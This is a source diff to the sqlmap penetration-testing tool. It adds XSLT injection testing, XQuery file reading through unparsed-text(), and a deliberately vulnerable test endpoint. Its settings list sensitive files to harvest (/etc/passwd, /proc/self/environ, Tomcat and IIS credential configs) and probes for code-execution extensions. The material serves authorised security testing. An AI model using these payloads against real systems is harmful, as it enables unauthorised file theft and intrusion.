diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8991e235258..e46292bf92d 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -10,6 +10,7 @@ * Added the switch `--ssti`. It tests for server-side template injection. It also covers Struts2 and OGNL. * Added the switch `--graphql`. It tests for GraphQL injection. * Added the switch `--hql`. It tests for HQL and JPQL (Hibernate ORM) injection. +* Added the switch `--xslt`. It tests for XSLT injection. The engine names itself in the response. sqlmap then dumps the XML document that the stylesheet transforms. It also reads the files that the engine can reach. * Added the switch `--xxe`. It tests for XML External Entity injection. It uses in-band, error-based, and out-of-band channels. * Added the switch `--jwt`. It examines JSON Web Tokens for weak keys and for injection in the claims. @@ -45,6 +46,7 @@ * Added support for Google Cloud Spanner. * Added support for DuckDB and Trino as forks. * Added the switch `--esperanto`. It enumerates a back-end DBMS that sqlmap cannot identify. +* Added XQuery support to the switch `--xpath`. XQuery is a superset of XPath, so the same injection point gives more. On a back-end that supports it, sqlmap reads a file through `unparsed-text()`. * Added error-based payloads for CUBRID, InterSystems Cache, Virtuoso, H2, Firebird, and Vertica. * Added time-based payloads for CUBRID. * Added out-of-band DNS channels for H2 and ClickHouse. @@ -81,6 +83,7 @@ * sqlmap now keeps the value of an injected Host header. * Removed the time outliers from the time statistics. * Improved the detection of the SQL dialect of the target. +* The switch `--xpath` no longer reports an injection when the page changes only because it shows the payload again. Reflection is not proof that an expression was evaluated. ## Quality diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 5962545bdff..3bb4b54ea5d 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -351,6 +351,23 @@ def hql_evaluate(value): # --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------ +XSLT_DOC = """luther10\ +fluffy20""" + +# The element slot: user input lands BETWEEN elements, so it can introduce whole XSLT instructions. +XSLT_ELEMENT_SHEET = """ + +
%s
+
""" + +# The value slot: user input lands INSIDE select="...", so it can only carry an XPath expression. +XSLT_VALUE_SHEET = """ + + + +
+
""" + XPATH_XML = """ @@ -1177,6 +1194,39 @@ def do_REQUEST(self): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url == "/echo": + # A pure reflector: no engine of any kind behind it, it only shows the parameter back. Every + # non-SQL switch must stay silent here. A differential built on "the page changed" is + # satisfied by reflection alone, which is how several engines reported this shape as + # injectable - so this endpoint is the regression gate for that whole class. + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(("you searched for: %s" % self.params.get("q", "")).encode(UNICODE_ENCODING)) + return + + if self.url in ("/xslt/element", "/xslt/value"): + # VULNERABLE: user input is concatenated into a stylesheet which is then compiled and applied + element = self.url.endswith("element") + source = self.params.get("tpl" if element else "sort", "" if element else "name") + try: + from lxml import etree + sheet = (XSLT_ELEMENT_SHEET if element else XSLT_VALUE_SHEET) % source + transform = etree.XSLT(etree.fromstring(sheet.encode("utf-8"))) + output = str(transform(etree.fromstring(XSLT_DOC.encode("utf-8")))) + code = OK + except Exception as ex: + output = "

XSLT error

%s: %s
" % (type(ex).__name__, ex) + code = INTERNAL_SERVER_ERROR + + self.send_response(code) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == "/xpath/search": self.send_response(OK) self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 03e7abb5cd5..1eec0a39a63 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -88,6 +88,7 @@ from lib.core.settings import LDAP_ERROR_REGEX from lib.core.settings import SSTI_ERROR_REGEX from lib.core.settings import XPATH_ERROR_REGEX +from lib.core.settings import XSLT_ERROR_REGEX from lib.core.settings import XXE_ERROR_REGEX from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IPS_WAF_CHECK_RATIO @@ -1188,13 +1189,13 @@ def _(page): kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True) elif result: - infoMsg += "be injectable" + infoMsg += "be SQL injectable" if Backend.getErrorParsedDBMSes(): infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes() logger.info(infoMsg) else: - infoMsg += "not be injectable" + infoMsg += "not be SQL injectable" logger.warning(infoMsg) kb.heuristicMode = True @@ -1271,6 +1272,12 @@ def _(page): if conf.beep: beep() + if not conf.xslt and re.search(XSLT_ERROR_REGEX, page or ""): + infoMsg = "heuristic (XSLT) test shows that %sparameter '%s' might be vulnerable to XSLT injection (rerun with switch '--xslt')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + if conf.beep: + beep() + if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""): infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')" logger.info(infoMsg) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index a3b7c07c70e..30a43d95c67 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -532,12 +532,12 @@ def start(): checkJWT() - if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)): + if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.jwt)): from lib.utils.paraminer import mineParameters mineParameters() - if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile): - singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql/--jwt) findings; these are reported on the console only") + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe/--hql/--jwt) findings; these are reported on the console only") if conf.graphql: from lib.techniques.graphql.inject import graphqlScan @@ -564,6 +564,11 @@ def start(): sstiScan() continue + if conf.xslt: + from lib.techniques.xslt.inject import xsltScan + xsltScan() + continue + if conf.xxe: from lib.techniques.xxe.inject import xxeScan xxeScan() diff --git a/lib/core/option.py b/lib/core/option.py index f216ab11e14..cb1c707bcfa 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -945,10 +945,12 @@ def _setTamperingFunctions(): logger.warning(warnMsg) # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines - # (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so - # warn instead of silently ignoring the user's '--tamper' - if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)): - engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_)) + # (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe) do not run payloads through the tampering + # hook, so warn instead of silently ignoring the user's '--tamper'. One tuple drives both the test + # and the name lookup - keeping two lists in step is exactly how this raised StopIteration. + _nonSqlEngines = ("graphql", "nosql", "ldap", "xpath", "ssti", "xslt", "xxe") + if kb.tamperFunctions and any(conf.get(_) for _ in _nonSqlEngines): + engine = next(_ for _ in _nonSqlEngines if conf.get(_)) warnMsg = "tamper scripts are applied to SQL injection payloads only and " warnMsg += "will be ignored by the '--%s' engine" % engine logger.warning(warnMsg) @@ -2755,7 +2757,7 @@ def _checkTor(): def _basicOptionValidation(): _nonSqlTechniques = [name for name, enabled in ( ("--graphql", conf.graphql), ("--nosql", conf.nosql), ("--ldap", conf.ldap), - ("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--hql", conf.hql)) if enabled] + ("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--xslt", conf.xslt), ("--hql", conf.hql)) if enabled] if len(_nonSqlTechniques) > 1: errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques) errMsg += "each is a self-contained scan for a different back-end class - pick one" diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 95d921847ed..44ce5ded8d4 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -126,6 +126,7 @@ "xpath": "boolean", "ssti": "boolean", "xxe": "boolean", + "xslt": "boolean", "hql": "boolean", "jwt": "boolean", "oobServer": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 7b6a2bb84cd..5e7293fb3f7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.8.12" +VERSION = "1.10.8.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1168,7 +1168,9 @@ ("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"), ("eXist", r"exerr:ERROR"), ("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"), - ("Generic XPath", r"(?:XPath|XSLT).*?(?:error|exception|syntax)"), + # NOT XSLT: a dedicated '--xslt' engine owns those errors now, and claiming them here made every + # XSLT parser error suggest '--xpath' as well + ("Generic XPath", r"XPath.*?(?:error|exception|syntax)"), ("Generic XPath", r"Invalid XPath|XPath evaluation failed"), ) @@ -1184,6 +1186,90 @@ # Upper bound for the value-length search during XPath blind extraction XPATH_MAX_LENGTH = 256 +# XQuery (XPath 2.0/3.x) supersets XPath 1.0, so the same injection boundary reaches a much richer +# language. These probes are TRUE on an XQuery processor and a SYNTAX ERROR on an XPath 1.0 one, which is +# what makes them a capability test rather than a guess: string-join/matches/upper-case simply do not +# exist in 1.0. Engines: Saxon, BaseX, eXist-db, MarkLogic, Zorba. +XQUERY_CAPABILITY_PROBES = ( + "string-join(('a','b'),'')='ab'", + "upper-case('a')='A'", + "matches('a','a')", +) + +# XQuery file-read primitive: fn:unparsed-text() returns a text file as a string, so the existing blind +# character bisection recovers it unchanged. doc() is the XML equivalent (and the OOB vector when it is +# handed an http:// URI). +XQUERY_FILE_READ = "unparsed-text(%s)" +XQUERY_MAX_FILE_LENGTH = 4096 + +# Proactive harvest for a confirmed XQuery back-end. Deliberately SHORT: unlike an in-band read, every +# character here costs a bisection round-trip, so this is the identity/secret minimum rather than the +# broad sweep an in-band engine can afford. +XQUERY_FILE_HARVEST = ( + "/etc/passwd", + "/etc/hostname", + "/proc/self/environ", + "/proc/self/cmdline", + "c:/windows/win.ini", +) +# Characters recovered from the ONE file the harvest extracts a sample from. Every character costs about +# eight bisection round-trips, so a full /etc/passwd would be thousands of requests against the target. +# The harvest therefore PROVES readability across the list for ~1 request each and samples a short prefix +# from the first hit only. An explicit '--file-read' is a deliberate request and still gets the full +# XQUERY_MAX_FILE_LENGTH. +XQUERY_HARVEST_CHARS = 32 + +# XSLT injection ('--xslt'). Compile/runtime errors are per-engine and are what reaches a target whose +# output is fixed, so they double as the fingerprint when nothing can be reflected. +# Ordered MOST SPECIFIC FIRST and matched in order: PHP's XSLTProcessor and lxml are both libxslt +# underneath and emit its wording too, so the generic libxslt entry has to come last or it would shadow +# the binding that actually tells the tester what they are talking to. +XSLT_ERROR_SIGNATURES = ( + ("PHP XSLTProcessor", r"XSLTProcessor::(?:importStylesheet|transformTo\w+)\(\)"), + ("libxslt / lxml", r"lxml\.etree\.(?:XSLT(?:Parse|Apply|)Error|XPathEvalError)"), + ("Saxon", r"(?:net\.sf\.saxon\.|SaxonApiException|Static error(?:s)? (?:in|at)|XTDE\d{4}|XTSE\d{4})"), + ("Xalan / Java JAXP", r"(?:javax\.xml\.transform\.Transformer(?:Configuration)?Exception|org\.apache\.xalan|XSLT Error)"), + (".NET XslCompiledTransform", r"System\.Xml\.Xsl\.(?:XslLoadException|XsltException)"), + # Anchored to XSLT vocabulary on purpose: this regex also drives the GLOBAL heuristic hint in + # checks.py, and bare "compilation error" / "Invalid expression" match gcc, javac and regex failures, + # which would suggest '--xslt' on targets that have nothing to do with XSLT. + ("libxslt", r"(?:xsltParseStylesheet|xsltApplyStylesheet|xsltCompilePattern|xsl:\w+ : |xmlXPathEval|XPath error : )"), + ("Generic XSLT", r"(?:XSLT|xsl:stylesheet).{0,40}?(?:error|exception|fail)"), +) + +XSLT_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XSLT_ERROR_SIGNATURES) + +# system-property() names the processor from inside the transformation, so a response carrying it is the +# engine speaking rather than the application echoing. +XSLT_VENDOR_PROPERTIES = ("xsl:vendor", "xsl:version", "xsl:vendor-url", "xsl:product-name", "xsl:product-version") + +# Extension surfaces that would turn XSLT injection into code execution or a file WRITE. sqlmap reports +# their availability and never invokes them - probing whether a function EXISTS is not exercising it. +XSLT_RCE_PROBES = ( + ("PHP registerPHPFunctions (php:function)", "string(function-available('php:function'))"), + ("EXSLT exsl:document (file write)", "string(element-available('exsl:document'))"), + ("Saxon saxon:eval", "string(function-available('saxon:eval'))"), + ("Xalan java: extension namespace", "string(function-available('java:java.lang.Runtime.getRuntime'))"), +) + +XSLT_MAX_FILE_LENGTH = 65536 + +# XSLT 1.0's document() parses its target as XML, so a text file simply fails to load - only an XSLT 2.0+ +# engine reaches arbitrary text through unparsed-text(). These are the high-value paths that ARE XML, so +# the auto-harvest still returns something on a 1.0 engine (which is most of the installed base). +XSLT_XML_HARVEST = ( + "/var/www/html/WEB-INF/web.xml", + "/usr/local/tomcat/conf/tomcat-users.xml", + "/usr/local/tomcat/conf/server.xml", + "/opt/tomcat/conf/tomcat-users.xml", + "/etc/tomcat/tomcat-users.xml", + "c:/inetpub/wwwroot/web.config", + "c:/windows/system32/inetsrv/config/applicationHost.config", +) + +# Bound on the proactive harvest so a confirmed finding cannot turn into hundreds of requests. +XSLT_MAX_HARVEST = 12 + # SSTI error signatures per template engine for detection and fingerprinting. # Each tuple is (engine_name, regex_fragment). SSTI_ERROR_SIGNATURES = ( diff --git a/lib/core/testing.py b/lib/core/testing.py index 2e064806c64..35e599138d4 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -96,6 +96,12 @@ def vulnTest(tests=None, label="vuln"): ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing + ("-u \"echo?q=x\" --xslt --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # reflection is not evaluation: a pure echo endpoint must not satisfy any non-SQL engine's oracle + ("-u \"echo?q=x\" --xpath --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # same gate for --xpath (it used to confirm XPath injection from reflected text alone) + ("-u \"echo?q=x\" --ldap --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to", "~Traceback")), # same gate for --ldap (it used to CRASH here with an unhandled InconclusiveError) + ("-u \"echo?q=x\" --nosql --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # same gate for --nosql (it used to report a "Lucene query_string-compatible back-end" from q=*) + ("-u \"xslt/element?tpl=x\" --xslt --flush-session --disable-hashing", ("is vulnerable to XSLT injection", "element context", "Engine: libxslt", "Type: XSLT injection", "XSLT scan complete")), # XSLT: the engine names itself through system-property('xsl:vendor') in the element slot - a value the application cannot produce on its own + ("-u \"xslt/value?sort=name\" --xslt --flush-session --disable-hashing", ("is vulnerable to XSLT injection", "value context", "XSLT compile-differential", "XSLT scan complete")), # XSLT: the value slot reflects nothing, so detection rests on the compile differential plus positive XPath-syntax evidence ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction @@ -109,14 +115,14 @@ def vulnTest(tests=None, label="vuln"): ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) - # The vulnserver's XPath and XXE endpoints render with lxml and its SSTI endpoint with jinja2; where + # The vulnserver's XPath, XXE and XSLT endpoints render with lxml and its SSTI endpoint with jinja2; where # those optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip # just those entries instead of failing the whole run - the rest of the suite is unaffected. try: __import__("lxml") except ImportError: - TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0] and "--xxe" not in _[0]) - logger.warning("skipping the XPath and XXE vuln-test entries ('lxml' not available)") + TESTS = tuple(_ for _ in TESTS if not any(_flag in _[0] for _flag in ("--xpath", "--xxe", "--xslt"))) + logger.warning("skipping the XPath, XXE and XSLT vuln-test entries ('lxml' not available)") try: __import__("jinja2") except ImportError: diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b750fccaad8..e6c106f31e7 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -802,6 +802,9 @@ def cmdLineParser(argv=None): nonsql.add_argument("--ssti", dest="ssti", action="store_true", help="Test for server-side template injection") + nonsql.add_argument("--xslt", dest="xslt", action="store_true", + help="Test for XSLT injection") + nonsql.add_argument("--xxe", dest="xxe", action="store_true", help="Test for XML External Entity (XXE) injection") diff --git a/lib/techniques/ldap/inject.py b/lib/techniques/ldap/inject.py index 126b0c5f4cb..a4a1cc2a720 100644 --- a/lib/techniques/ldap/inject.py +++ b/lib/techniques/ldap/inject.py @@ -12,6 +12,7 @@ from lib.core.common import beep from lib.core.common import randomStr +from lib.core.common import removeReflectiveValues from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import logger @@ -21,6 +22,7 @@ from lib.utils.nonsql import INCONCLUSIVE_MARK from lib.utils.nonsql import userDecision from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import stripReflection from lib.utils.nonsql import sqlErrorPresent from lib.utils.nonsql import blockedStatus from lib.utils.nonsql import ratio as _ratio @@ -173,7 +175,14 @@ def _send(place, parameter, value): # oracle sample - signal None so `_boolean`/`extract` (which reject None) can't decide on it if blockedStatus(code): return None - return page or "" + # Strip the payload back out before anything compares pages. An endpoint that merely ECHOES the + # parameter differs between any two probes because the payloads differ, which satisfies a + # true/false differential without a single expression being evaluated - that reported plain + # reflective search pages as injectable. On a blind target the payload is not in the page, so + # this is a no-op. + # Two layers on purpose: sqlmap's scan-wide heuristic (which can switch itself off) AND a plain + # deterministic strip that cannot. See stripReflection(). + return stripReflection(removeReflectiveValues(page, value, suppressWarning=True), value) or "" except Exception as ex: logger.debug("LDAP probe request failed: %s" % getUnicode(ex)) return None diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index 8b98c4485b5..c39f0cc30f7 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -14,6 +14,7 @@ from lib.core.common import beep from lib.core.common import randomStr +from lib.core.common import removeReflectiveValues from lib.core.convert import getUnicode from lib.utils.nonsql import userDecision from lib.utils.nonsql import sqlErrorPresent @@ -22,7 +23,9 @@ from lib.utils.nonsql import userOracleActive from lib.utils.nonsql import InconclusiveError from lib.utils.nonsql import INCONCLUSIVE_MARK +from thirdparty import six from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import stripReflection from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -366,6 +369,19 @@ def _send(place, parameter, segment=None, jsonValue=_UNSET): finally: conf.skipUrlEncode = skipUrlEncode + # Strip the payload back out before anything compares pages. An endpoint that merely ECHOES the + # parameter differs between any two probes because the payloads differ, which satisfies a true/false + # differential - and the wildcard always-true check - without a single operator being interpreted. + # That reported a plain reflective search page as a "Lucene query_string-compatible back-end". On a + # blind target the payload is not in the page, so this is a no-op. + # Two layers on purpose: sqlmap's scan-wide heuristic (which can switch itself off) AND a plain + # deterministic strip that cannot. See stripReflection(). + # Strip the VALUE as well as the whole parameter string: `payload` here is "q=*", while the page + # echoes just "*", so removing only the former leaves the reflection in place. + page = removeReflectiveValues(page, payload, suppressWarning=True) + for _reflected in (payload, segment, jsonValue if jsonValue is not _UNSET else None): + if isinstance(_reflected, six.string_types) and _reflected: + page = stripReflection(page, _reflected) return page or "" def _isError(page): diff --git a/lib/techniques/xpath/inject.py b/lib/techniques/xpath/inject.py index 2aa7922bccd..4df434b63ed 100644 --- a/lib/techniques/xpath/inject.py +++ b/lib/techniques/xpath/inject.py @@ -11,7 +11,10 @@ from collections import namedtuple from lib.core.common import beep +from lib.core.common import dataToOutFile from lib.core.common import randomStr +from lib.core.common import removeReflectiveValues +from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import logger @@ -21,6 +24,7 @@ from lib.utils.nonsql import userDecision from lib.utils.nonsql import InconclusiveError from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import stripReflection from lib.utils.nonsql import sqlErrorPresent from lib.utils.nonsql import blockedStatus from lib.utils.nonsql import ratio as _ratio @@ -32,6 +36,11 @@ from lib.core.settings import XPATH_ERROR_SIGNATURES from lib.core.settings import XPATH_MAX_DEPTH from lib.core.settings import XPATH_MAX_LENGTH +from lib.core.settings import XQUERY_CAPABILITY_PROBES +from lib.core.settings import XQUERY_FILE_READ +from lib.core.settings import XQUERY_FILE_HARVEST +from lib.core.settings import XQUERY_HARVEST_CHARS +from lib.core.settings import XQUERY_MAX_FILE_LENGTH from lib.request.connect import Connect as Request from lib.utils.xrange import xrange @@ -152,6 +161,14 @@ def _send(place, parameter, value): if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) page, _, code = Request.getPage(**kwargs) + # Strip the payload back out before anyone compares pages. An endpoint that ECHOES the parameter + # differs between any two probes simply because the two payloads differ - which satisfies a + # true/false differential, and even the XPath-only confirm battery, without a single expression + # ever being evaluated. That reported XSLT (and plain reflective) endpoints as XPath-injectable. + # On a genuinely blind target the payload is not in the page, so this is a no-op. + # Two layers on purpose: sqlmap's scan-wide heuristic (which can switch itself off) AND a plain + # deterministic strip that cannot. See stripReflection(). + page = stripReflection(removeReflectiveValues(page, value, suppressWarning=True), value) # A transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is NOT a usable # oracle sample: returning "" for it would let a one-sided failure fake a true/false divergence # (an empty body cannot be told apart from a dead connection). Signal it as None -> the boolean @@ -371,16 +388,20 @@ def textStartsWith(self, path, prefix): def stringLengthAtLeast(self, target, n): return self._make("string-length(%s)>=%d" % (target, n)) - def charPresent(self, target, pos): + def charPresent(self, target, pos, literal=None): # True when the character at 1-based position `pos` of `target` belongs to # the known ordered charset (so its index can be resolved by bisection). - return self._make("contains(%s,substring(%s,%d,1))" % (_CS_LITERAL, target, pos)) + return self._make("contains(%s,substring(%s,%d,1))" % (literal or _CS_LITERAL, target, pos)) - def charIndexAtLeast(self, target, pos, n): + def charIndexAtLeast(self, target, pos, n, literal=None): # The 0-based index of a charset member equals the length of the charset # prefix preceding it (XPath 1.0 has no lexicographic '<', but # string-length(substring-before(...)) yields a number we can bisect on). - return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n)) + return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (literal or _CS_LITERAL, target, pos, n)) + + def predicate(self, expression): + """Send an arbitrary boolean expression through the verified boundary (XQuery capability probes).""" + return self._make(expression) def _makeOracle(place, parameter, boundary, base): @@ -522,7 +543,7 @@ def _inferCount(oracle, builder, path, countFn, maxCount=128): return None -def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): +def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH, ords=None, literal=None): """Blindly recover the string value of XPath expression `target` (e.g. "name(/*)" or "string(/*[1]/@*[1])") using binary search. @@ -547,10 +568,11 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): chars = [] probes = 0 - last = len(_CS_ORDS) - 1 + ords = ords or _CS_ORDS + last = len(ords) - 1 for pos in xrange(1, length + 1): probes += 1 - if not oracle.extract(builder.charPresent(target, pos)): + if not oracle.extract(builder.charPresent(target, pos, literal)): chars.append("?") continue @@ -558,11 +580,11 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): while clo < chi: cmid = (clo + chi + 1) // 2 probes += 1 - if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)): + if oracle.extract(builder.charIndexAtLeast(target, pos, cmid, literal)): clo = cmid else: chi = cmid - 1 - chars.append(chr(_CS_ORDS[clo])) + chars.append(chr(ords[clo])) except InconclusiveError: # abort this value rather than emit a length/char chosen from an ambiguous bit logger.warning("XPath string inference aborted (oracle inconclusive after retries)") @@ -573,6 +595,68 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): return value or None +# File content carries bytes the XML-tree charset deliberately excludes (tab, newline, quotes, angle +# brackets). Recovering a file with those replaced by '?' would be worse than useless, so a file read gets +# its own charset. Tab and newline are produced with fn:codepoints-to-string() rather than an XML +# character reference: the payload travels in a query-string parameter, where a literal '&' would split +# it into two parameters. This literal is only ever used on the XQuery path, where the function exists. +_FILE_ORDS = [0x09, 0x0a] + [_ for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1)] +# Built entirely from codepoints rather than a quoted string: the charset contains ', ", & and < , each of +# which is either illegal bare in an XQuery string literal ('&' -> "Invalid entity") or would need +# escaping that survives URL transport. fn:codepoints-to-string() takes the whole sequence and has none of +# those hazards. +_FILE_LITERAL = "codepoints-to-string((%s))" % ",".join(str(_) for _ in _FILE_ORDS) + + +def _probeXQuery(oracle, builder): + """True when the injected expression reaches an XQuery / XPath 2.0+ processor rather than an XPath 1.0 + one. Each probe calls a function that does not exist in 1.0, so a positive answer is a capability the + engine demonstrated - not an inference from an error string or a version banner. + + A second, NEGATIVE control matters here: an oracle that answers TRUE to everything would otherwise be + read as 'XQuery'. The false control must come back false for the verdict to stand.""" + + try: + if oracle.extract(builder.predicate("string-join(('a','b'),'')='zz'")): + return False # answers true to a FALSE probe -> oracle is not discriminating + for probe in XQUERY_CAPABILITY_PROBES: + if oracle.extract(builder.predicate(probe)): + return True + except InconclusiveError: + return False + return False + + +def _xqueryFileRead(oracle, builder, path, quiet=False, maxLen=XQUERY_MAX_FILE_LENGTH): + """Recover a text file through fn:unparsed-text() using the same blind bisection that walks the XML + tree - the boundary is already proven, so this needs no new oracle. `quiet` suppresses the + not-readable notice, because the proactive harvest expects most of its paths to be absent.""" + + target = XQUERY_FILE_READ % _xpathQuote(path) + try: + if not oracle.extract(builder.predicate("string-length(%s)>0" % target)): + if not quiet: + logger.warning("XQuery file read: '%s' is empty or not readable" % path) + return None + except InconclusiveError: + return None + return _inferString(oracle, builder, target, maxLen=maxLen, + ords=_FILE_ORDS, literal=_FILE_LITERAL) + + +def _dumpFileRead(remoteFile, content): + """Save an XQuery-read file to the output directory (parity with '--file-read').""" + try: + localPath = dataToOutFile(remoteFile, getBytes(content)) + except Exception as ex: + logger.debug("could not save the XQuery-read file to disk: %s" % getUnicode(ex)) + localPath = None + if localPath: + conf.dumper.rFile([localPath]) + else: + conf.dumper.singleString("XQuery file read ('%s'):\n%s" % (remoteFile, content)) + + def _walkTree(oracle, builder, path="/*", depth=0): """Recursively walk the XML tree from a given XPath expression. Returns a dict: {name, path, children, attributes, text} or None.""" @@ -799,8 +883,54 @@ def xpathScan(): logger.info("identified back-end: '%s'" % backend) slot = slot._replace(backend=backend) - title = "XPath boolean-based blind" - conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: %s\n Payload: %s=%s\n---" % 